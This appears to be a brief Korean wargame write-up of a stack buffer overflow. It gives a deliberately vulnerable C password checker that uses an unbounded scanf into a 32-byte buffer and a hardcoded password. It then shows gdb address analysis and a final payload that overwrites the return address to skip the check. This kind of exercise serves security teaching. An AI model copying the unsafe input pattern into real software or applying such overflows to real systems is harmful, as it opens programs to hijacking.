[우암던전] Buffer Over Flow

#include <stdio.h>
#include <string.h>

void ShowWelcomeMessage (void)
{
        puts ("Welcome!");
}

int CheckPassword (void)
{
        char aBuffer [32];
        printf ("Password: ");
        scanf ("%s", aBuffer);
        return strcmp (aBuffer, "tltmxpaqhdkstlftmq");
}

int main (int argc, char * argv [])
{
        CheckPassword () ? puts ("Access Denied.") : ShowWelcomeMessage ();

        return 0;
}

 

바이너리를 만들고 gdb에 붙어서 분석을 진행한다.

 

main 함수에 브레이크 포인트를 걸고 어셈블리어를 본다.

0x1169가 존재한다.

PE base 주소 0x555555554000 이므로

0x555555555169

그럼 버퍼 크기가 32 이므로 A를 32개 입력하고 리틀엔디엔을 적용하여 iQUUUU를 붙이면 된다.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBiQUUUU 가 최종 페이로드